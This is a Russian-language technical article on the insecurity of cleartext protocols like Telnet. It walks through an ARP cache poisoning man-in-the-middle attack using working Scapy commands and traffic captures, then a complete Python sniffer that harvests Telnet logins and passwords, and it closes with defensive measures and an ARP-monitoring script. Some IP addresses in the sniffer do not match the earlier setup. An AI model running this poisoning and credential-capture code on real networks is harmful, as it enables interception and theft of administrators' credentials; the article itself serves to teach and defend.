Небезопасность использования простых текстовых протоколов

Введение

Большое количество существующих сетевых протоколов не обеспечивают конфиденциальность передаваемой информации. Авторизационные данные зачастую передаются в открытом виде, без криптографических средств их защиты. К таким протоколам относятся широко распространённые Telnet, FTP, SNMP, SMTP, POP3, IMAP, NNTP и другие. Некоторые из них имеют возможность использования технологии SASL (Simple Authentication and Security Layer), обеспечивая достаточный уровень безопасности авторизации в большинстве случаев. При использовании других, таких как HTTP, FTP, SNMPv2, Telnet, данные достаточные для повторной авторизации третьим лицом могут быть легко получены.

В статье рассматривается атака вида “человек-посередине” для перехвата авторизационных данных на примере протокола Telnet (RFC 15, RFC 854).

Выбор данного протокола продиктован тем, что многие сетевые устройства для первоначального конфигурирования предоставляют удалённый доступ именно по этому протоколу и зачастую такой доступ остаётся в качестве основного.

Базовая структура Telnet-а проста. Он обеспечивает двустороннюю передачу текстовых данных между клиентом и сервером. В качестве транспорта используется Transmission Control Protocol (TCP), TCP-порт по умолчанию 23. В большинстве случаев использование Telnet ничем не отличается от посылки текстовых данных (ASCII) по TCP-соединению.

Следует отметить, что TCP осуществляет гарантированную передачу данных без ошибок каждого сегмента. Однако критерием целостности является шестнадцатибитная контрольная сумма — чего может быть не достаточно для надёжной проверки данных.

Программы-клиенты Telnet имеются в любой современной операционной системе. Всё это делает данный протокол чрезвычайно популярным и широкоиспользуемым для управления сетевыми устройствами. Однако, работая в среде Ethernet сетей это чревато возможными проблемами с безопасностью.

Опасности Ethernet-среды

Ethernet не являясь соединением точка-точка допускает ситуации когда к каждому устройству подключенному к сегменту сети могут приходить пакеты ему не адресованные:

  • широковещательные пакеты;
  • пользователь “вклинен” в линию связи (физически подключен к проводнику);
  • пользователь является некой транзитной точкой связи: его два сетевых адаптера реализуют так называемый “мост”.

Каждый сетевой адаптер имеет уникальный идентификатор (адрес): Media Access Control (MAC). Обычно это MAC-48 — 48-битная адресация. Обязательными полями пакета являются:

  • MAC-адрес отправителя;
  • MAC-адрес получателя (широковещательные адреса позволят каждому из присутствующих в сегменте сети во время рассылки (отсутствует принцип store-and-forward) получить пакет).

Опасности Telnet-протокола

Проблемы с безопасностью Telnet-а в среде Ethernet:

  • среда обмена не является точка-точка;
  • не используются средства шифрования на канальном уровне.

При отсутствии криптографической защиты и перехвате аутентификационных данных, их можно легко использовать для повторной авторизации злоумышленником.

Методы перехвата данных зависят от особенностей среды. Для Ethernet были названы три. Рассмотрим поподробнее.

Первый вариант применим в сетях, в которых сетевое оборудование осуществляет некоммутируемую доставку пакетов. Например при использовании концентраторов (хабов). В этом случае для перехвата не нужно предпринимать никаких действий. Информация доставляется всем устройствам сети. Такое оборудование является устаревшим и повсеместно заменено на коммутаторы. К тому же, TCP является взаимодействием типа точка-точка, что означает чётко заданные конечные адреса получателя в инкапсулирующих IP (Internet Protocol — протокол третьего уровня) пакетах. Ethernet фреймы передающие эти IP пакеты аналогично будут содержать конечные MAC-адреса пользователей.

“Прослушать” таким образом Ethernet трафик в современных сетях при точка-точка соединениях не получится.

Вариант с физическим подключением к линии связи — сложен и затратен (по времени и средствам). Однако он абсолютно пассивен, и, например, без визуального контроля трудно обнаружим.

Вариант с транзитной точкой связи не пассивен (атакующего можно обнаружить). Злоумышленник должен “обмануть” устройства сети и “заставить” отправлять свои пакеты конкретно ему.

Атака на ARP-протокол

Являясь участником Ethernet сети, наименее трудозатратно и достаточно эффективно применять третий метод. А конкретнее — совершить атаку на протокол ARP (Address Resolution Protocol — протокол разрешения/урегулирования адреса): “отравить” ARP-кэш сетевых устройств.

ARP протокол связывает адресацию канального и сетевого уровней сети (Ethernet и IP). Такая “прослойка” необходима ввиду того, что программное обеспечение пользователей работает по протоколу IP, но фактический обмен данными возможен только Ethernet-фреймами.

Отправитель IP-пакета посылает широковещательный Ethernet пакет с вопросом (ARP-request) о принадлежности конкретного (целевого получателя) IP-адреса к какому-либо из участников. Отправитель ожидает получить ответ (ARP-reply) рода “этот IP-адрес обрабатывается мной (адаптером с таким вот MAC-адресом)”.

Смена устройства обрабатывающего конкретный IP-адрес редка, поэтому ARP-ответы сохраняются в кэше для предотвращения постоянных запросов, уменьшающих пропускную способность полезных данных в сети.

ARP-пакет имеет следующие поля (в контексте Ethernet и IP сетей):

  • Sender hardware address (SHA) — MAC-адрес адаптера отправителя;
  • Sender protocol address (SPA) — IP-адрес отправителя;
  • Target hardware address (THA) — MAC-адрес адаптера получателя;
  • Target protocol address (TPA) — IP-адрес получателя.

ARP-запрос имеет широковещательный THA и TPA содержащий IP-адрес с которым необходимо связаться.

ARP запрос и ответ на него
Рис. 1. ARP запрос и ответ на него

Пакеты трафика при ICMP ping-е (с 192.168.10.203) компьютера (192.168.10.145) с изначально неизвестным MAC-адресом:

10:24:58.656658 00:16:d3:36:XX:XX > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 42:
        Request who-has 192.168.10.145 tell 192.168.10.203, length 28
10:24:58.656859 00:a0:d1:e8:XX:XX > 00:16:d3:36:XX:XX, ethertype ARP (0x0806), length 60:
        Reply 192.168.10.145 is-at 00:a0:d1:e8:XX:XX, length 46
10:24:58.656877 00:16:d3:36:XX:XX > 00:a0:d1:e8:XX:XX, ethertype IPv4 (0x0800), length 98:
        192.168.10.203 > 192.168.10.145: ICMP echo request, id 3686, seq 1, length 64
10:24:58.657125 00:a0:d1:e8:XX:XX > 00:16:d3:36:XX:XX, ethertype IPv4 (0x0800), length 98:
        192.168.10.145 > 192.168.10.203: ICMP echo reply, id 3686, seq 1, length 64

Злоумышленник, сфальсифицировав ARP-ответ (подменив настоящий MAC-адрес получателя), будет получать IP-пакеты не предназначенные для него. Если “обмануть” пользователя (подменив для него, например, шлюз атакующим компьютером), а шлюз заставить думать что атакующий является обманутым пользователем, то двусторонний трафик между шлюзом и пользователем будет идти через атакующего. Произошло активное “вклинивание” в линию передачи пакетов. В контексте безопасности атакующий является человеком-посередине.

Подмена ARP-трафика это активное воздействие на Ethernet-среду: трудоёмкое и сложное занятие. Поэтому на практике используется пассивная атака: “отравление” ARP-кэша. Её суть заключается в посылке ARP-ответов или запросов в заведомо большем количестве чем от “настоящего” устройства и с фальсифицированными данными о MAC и IP адресах.

Большинство современных операционных систем никак не обработают ответ на мнимый запрос, ранее не отправленный ими. Поэтому применяют посылку ARP-запросов: будто шлюз (с указанным IP-адресом) уже с другого MAC-адреса интересуется кто имеет определённый IP-адрес. Операционная система расценит данное как смену “местоположения” шлюза и она обновит свою таблицу закэшированных ARP-адресов.

Принятие (то есть обработка) ARP-пакетов когда в этом нет необходимости является штатной ситуацией. Такая рассылка называется самопроизвольной рассылкой ARP-ответов/запросов (gratuitous ARP). Её производят устройства сети с целью:

  • информирования коммутаторов и маршрутизаторов о присутствии/появления устройства в сети;
  • информирования устройств сети о смене сетевых интерфейсов на компьютере;
  • помощи в нахождении конфликтов IP-адресов;
  • обновления ARP-таблиц (например в кластерах).

Получение контроля над маршрутизатором

Будем считать что шлюзом является маршрутизатор над которым необходимо получить контроль, доступный только авторизованным пользователям. К таким может относится администратор, использующий Telnet для удалённого управления этим шлюзом. Именно против него и будет применена атака человек-по-середине, чтобы получить аутентификационные данные.

Это легко произвести на практике.

Применение пакета Scapy

В качестве основного инструментария примеров из статьи используется программа Scapy, написанная на языке программирования Python. Предоставляющая среду для высокоуровневого манипулирования пакетами второго и третьего сетевых уровней, их отправку и приём. Все приведённые примеры исполняются внутри данной среды.

Отравление ARP-кэша

Чтобы стать транзитной точкой переправки трафика между маршрутизатором и администратором необходимо обоим (трафик же двусторонний) отравить ARP-кэш.

Посылаемые ARP-запросы имеют настоящий адрес отправителя (то есть сетевой идентификатор адаптера атакующего), но вместо широковещательного адреса получателя указывается конкретное устройство для “отравления”. В качестве IP-адреса источника указывается IP-адрес того, кого необходимо фальсифицировать (то есть для “отравления” кэша администратора необходимо указывать IP-адрес маршрутизатора). В качестве IP-адреса получателя указываются настоящие IP-адреса атакуемого.

Путь трафика до и после отравления
Рис. 2. Путь трафика до и после отравления

Запускаются две среды Scapy с бесконечным циклом рассылки ARP-запросов:

MAC_ROUTER = "00:d0:68:0b:ZZ:ZZ"
MAC_ADMIN = "00:a0:d1:e8:XX:XX"
IP_ROUTER = "192.168.10.1"
IP_ADMIN = "192.168.10.145"

начальные необходимые настройки:

  • MAC_ROUTER — MAC-адрес маршрутизатора;
  • MAC_ADMIN — MAC-адрес администратора;
  • IP_ROUTER — IPv4-адрес маршрутизатора;
  • IP_ADMIN — IPv4-адрес администратора.

Таблица ARP администратора до атаки:

Address         HWtype  HWaddress           Flags Mask   Iface
192.168.10.1    ether   00:d0:68:0b:XX:XX   C            em1
192.168.10.12   ether   00:a0:d1:e2:XX:XX   C            em1
192.168.10.21   ether   00:a0:d1:e8:XX:XX   C            em1
sendp( Ether( dst = MAC_ROUTER ) / ARP( op = "who-has",
                                        psrc = IP_ADMIN,
                                        pdst = IP_ROUTER ),
       iface = "eth0", inter = 0.2, loop = 1 )

запуск цикличного (с интервалом 200мс) процесса посылки ARP-запросов на маршрутизатор. Теперь трафик предназначающийся для администратора будет направляться к атакующему.

sendp( Ether( dst = MAC_ADMIN ) / ARP( op = "who-has",
                                       psrc = IP_ROUTER,
                                       pdst = IP_ADMIN ),
       iface = "eth0", inter = 0.2, loop=1 )

аналогичный процесс посылки ARP-запросов, но администратору. Теперь трафик от администратора к маршрутизатору будет отправляться к атакующему.

Пакеты трафика генерируемого данной командой:

10:39:11.262481 00:16:d3:36:XX:XX > 00:a0:d1:e8:XX:XX, ethertype ARP (0x0806), length 42:
        Request who-has 192.168.10.145 tell 192.168.10.1, length 28
10:39:11.463957 00:16:d3:36:XX:XX > 00:a0:d1:e8:XX:XX, ethertype ARP (0x0806), length 42:
        Request who-has 192.168.10.145 tell 192.168.10.1, length 28

Таблица ARP администратора после атаки (YY:YY совпадают):

Address         HWtype  HWaddress           Flags Mask   Iface
192.168.10.1    ether   00:16:d3:36:YY:YY   C            em1
192.168.10.203  ether   00:16:d3:36:YY:YY   C            em1
192.168.10.12   ether   00:a0:d1:e2:XX:XX   C            em1
192.168.10.21   ether   00:a0:d1:e8:XX:XX   C            em1

Теперь можно убедиться что трафик между администратором и маршрутизатором проходит через атакующего. Здесь приведены пакеты ICMP ping-а сервера www.etegro.com с использованием публичного DNS-сервера 8.8.8.8:

10:49:43.513499 00:a0:d1:e8:XX:XX > 00:16:d3:36:YY:YY, ethertype IPv4 (0x0800), length 74:
        192.168.10.145.51971 > google-public-dns-a.google.com.domain: 25790+ A? www.etegro.com. (32)
10:49:43.513569 00:16:d3:36:YY:YY > 00:d0:68:0b:ZZ:ZZ, ethertype IPv4 (0x0800), length 74:
        192.168.10.145.51971 > google-public-dns-a.google.com.domain: 25790+ A? www.etegro.com. (32)
10:49:43.568797 00:d0:68:0b:ZZ:ZZ > 00:16:d3:36:YY:YY, ethertype IPv4 (0x0800), length 90:
        google-public-dns-a.google.com.domain > 192.168.10.145.51971: 25790 1/0/0 A 83.222.14.246 (48)
10:49:43.568818 00:16:d3:36:YY:YY > 00:a0:d1:e8:XX:XX, ethertype IPv4 (0x0800), length 90:
        google-public-dns-a.google.com.domain > 192.168.10.145.51971: 25790 1/0/0 A 83.222.14.246 (48)
10:49:43.569350 00:a0:d1:e8:XX:XX > 00:16:d3:36:YY:YY, ethertype IPv4 (0x0800), length 98:
        192.168.10.145 > www.etegro.com: ICMP echo request, id 3850, seq 1, length 64
10:49:43.569407 00:16:d3:36:YY:YY > 00:d0:68:0b:ZZ:ZZ, ethertype IPv4 (0x0800), length 98:
        192.168.10.145 > www.etegro.com: ICMP echo request, id 3850, seq 1, length 64
10:49:43.572305 00:d0:68:0b:ZZ:ZZ > 00:16:d3:36:YY:YY, ethertype IPv4 (0x0800), length 98:
        www.etegro.com > 192.168.10.145: ICMP echo reply, id 3850, seq 1, length 64
10:49:43.572320 00:16:d3:36:YY:YY > 00:a0:d1:e8:XX:XX, ethertype IPv4 (0x0800), length 98:
        www.etegro.com > 192.168.10.145: ICMP echo reply, id 3850, seq 1, length 64

Получение аутентификационных данных

Тривиальный пример программы анализа проходящего сквозь сетевой интерфейс Ethernet трафика в целях сбора аутентификационных Telnet данных. Цифры слева показывают номер строки исходного кода программы. Пропущенные номера строк остаются пустые.

 2    from scapy.all import sniff, IP, TCP

Подключение библиотеки Scapy.

 4    SEQ_AUTH = "".join( [ "\xff", "\xfd", "\x01" ] )
 5    SEQ_NEWLINE = "".join( [ "\r", "\x00" ] )
  • SEQ_AUTH — байтовая последовательность обозначающая готовность клиента к авторизации на сервере (по RFC 1416);
  • SEQ_NEWLINE — байтовая последовательность обозначающая передачу символа перевода строки.
 7    AUTHORIZING_IP = "192.168.10.203"
 8    ROUTER_IP = "192.168.10.3"
  • AUTHORIZING_IP — IPv4 адрес администратора;
  • ROUTER_IP — IPv4 адрес маршрутизатора.
10    state = {}
11    def state_reset():
12        state["auth_ok"] = False
13        state["user_ok"] = False
14        state["pass_ok"] = False
15        state["login"] = []
16        state["password"] = []
17    state_reset()

Используется ассоциативный массив для сохранения, текущего состояния. В данном массиве запоминаются такие события как начало авторизации, конец принятия пароля и прочего. После окончания процесса авторизации состояние сбрасывается, чтобы трафик можно было продолжать анализировать и находить авторизационные данные.

19    def auth_print():
20        print "\"%s\"@\"%s\"" % (
21            "".join( state["login"] ),
22            "".join( state["password"] )
23        )

Данная функция используется для удобочитаемой и обрабатываемой компьютером выдачи собранных авторизационных данных. Выдача производится в виде строк формата "login"@"password".

25    def telneter( pkt_eth ):
26        if type( pkt_eth.payload ) != IP: return
27        pkt_ip = pkt_eth.payload
28        if pkt_ip.dst != ROUTER_IP: return
29        if pkt_ip.src != AUTHORIZING_IP: return
30        if type( pkt_ip.payload ) != TCP: return
31        pkt_tcp = pkt_ip.payload
32        if not pkt_tcp.payload: return

Это основа всей программы. Данная функция вызывается после принятия каждого пакета и ей в качестве аргумента передаётся “пойманный” Ethernet-пакет. Только небольшая доля трафика является полезной. В следующих строках происходит отсечение ненужных пакетов данных:

  • 26 — не содержащие IPv4 в качестве полезной нагрузки;
  • 28 — идущие не на маршрутизатор;
  • 29 — идущие не от администратора;
  • 30 — не содержащие TCP в качестве полезной нагрузки;
  • 32 — TCP без полезной нагрузки (пустые).
33        pkt_load = pkt_tcp.load
34        if pkt_load == SEQ_AUTH:
35            state["auth_ok"] = True
36            return
37        if state["auth_ok"]:
38            if state["user_ok"]:
39                if state["pass_ok"]:
40                    auth_print()
41                    state_reset()
42                else:
43                    if pkt_load == SEQ_NEWLINE:
44                        state["pass_ok"] = True
45                    else:
46                        state["password"].append( pkt_load )
47            else:
48                if pkt_load == SEQ_NEWLINE:
49                    state["user_ok"] = True
50                else:
51                    state["login"].append( pkt_load )

Данная часть кода в целом не обязательна — она всего-лишь помогает человеку сразу же привести авторизационные данные в удобочитаемый вид. Во время набора пароля, каждый символ сразу же отправляется по TCP-протоколу на сервер. Здесь производится конкатенирование текстовых данных.

  • 34 — началась ли авторизация;
  • 37 — в процессе авторизации;
  • 38 — логин уже введён;
  • 39 — пароль уже введён. Когда ввод пароля заканчивается, то вызывается функция печати авторизационных данных (auth_print()) и производится обнуление состояния программы (state_reset());
  • 43 — закончен ввод пароля;
  • 46 — происходит ввод пароля;
  • 49 — закончен ввод логина;
  • 51 — происходит ввод логина.
53    sniff( iface = "eth0", prn = telneter )

Запуск процесса анализа всех проходящих Ethernet-пакетов по интерфейсу eth0. При этом указывается что каждый пакет необходимо “обработать” функцией telneter().

Выводы

Архаичный ARP-протокол вкупе с сервисом управления, использующим протокол пересылающий авторизационные данные в открытом виде, создают критические проблемы с безопасностью сети.

Отравление ARP-кэша

Противостоять данной атаке можно следующими способами:

  • Не использовать ARP-протокол вообще и ограничиться только статическими записями в локальной ARP-таблице участников сети. Операционная система игнорирует ARP запросы и ответы относящиеся к статическим записям;
  • Использовать специализированное программное обеспечение следящее за изменениями MAC-адресов (судя по ARP-пакетам) и обнаруживающее неподобающее поведение участников сети. Примером программы-мониторинга может быть следующая (она запоминает все встречающиеся ей пары SHA-SPA и выдаёт сообщение если какой-либо ARP-пакет изменяет их):
seen = {}
def arper( pkt_eth ):
        if type( pkt_eth.payload ) != ARP: return
        ip = pkt_eth.payload.psrc
        hw = pkt_eth.payload.hwsrc
        if seen.has_key( ip ):
                if seen[ ip ] != hw: print "%s -> %s" % ( hw, ip )
        else:
                seen[ ip ] = hw

sniff( iface = "eth0", prn = arper )
  • Настроить работу ядра и демонов операционных систем на игнорирование не ожидаемых ARP-ответов и доверие, например, только первому входящему ARP-запросу/ответу;
  • Использование VLAN-ов для разграничения сетевых сегментов второго уровня между собой;
  • Использование виртуальных частных сетей (IPsec, OpenVPN, SSH) для создания изолированной, криптографически защищённой от атак человек-посередине, сети;
  • Использование “умных” коммутаторов и маршрутизаторов, имеющих возможность управления поведением ARP-трафика в сети (например запрет ARP-пакетов у которых SPA совпадает с адресом шлюза/маршрутизатора).

Утечка данных аутентификации

Защититься от утечки в протоколах пересылающих данные в открытом виде можно следующими способами (Telnet — собирательный образ таких протоколов):

  • Физически ограничивать доступ к каналу связи предоставляющему Telnet;
  • Ограничивать доступ на канальном уровне (например VLAN-ами) к порту предоставляющему Telnet;
  • Ограничивать доступ брандмауэром на сетевом уровне к Telnet серверу;
  • Вместо чистого TCP-соединения использовать TLS (Transport Layer Security — безопасность транспортного уровня);
  • Использовать виртуальные частные криптографически защищённые сети для доступа к Telnet серверу;
  • Использовать другой протокол удалённого доступа, криптографически защищённый, такой как Secure Shell (SSH) версии 2 или выше.

Сергей Матвеев, руководитель отдела исследования и разработки <sergey.matveev@etegro.com>
Отдельное спасибо за помощь в написании статьи:
Андрею Сапронову, технический директор <andrey.sapronov@etegro.com>
Владимиру Петухову, инженер-программист отдела исследования и разработки <vladimir.petukhov@etegro.com>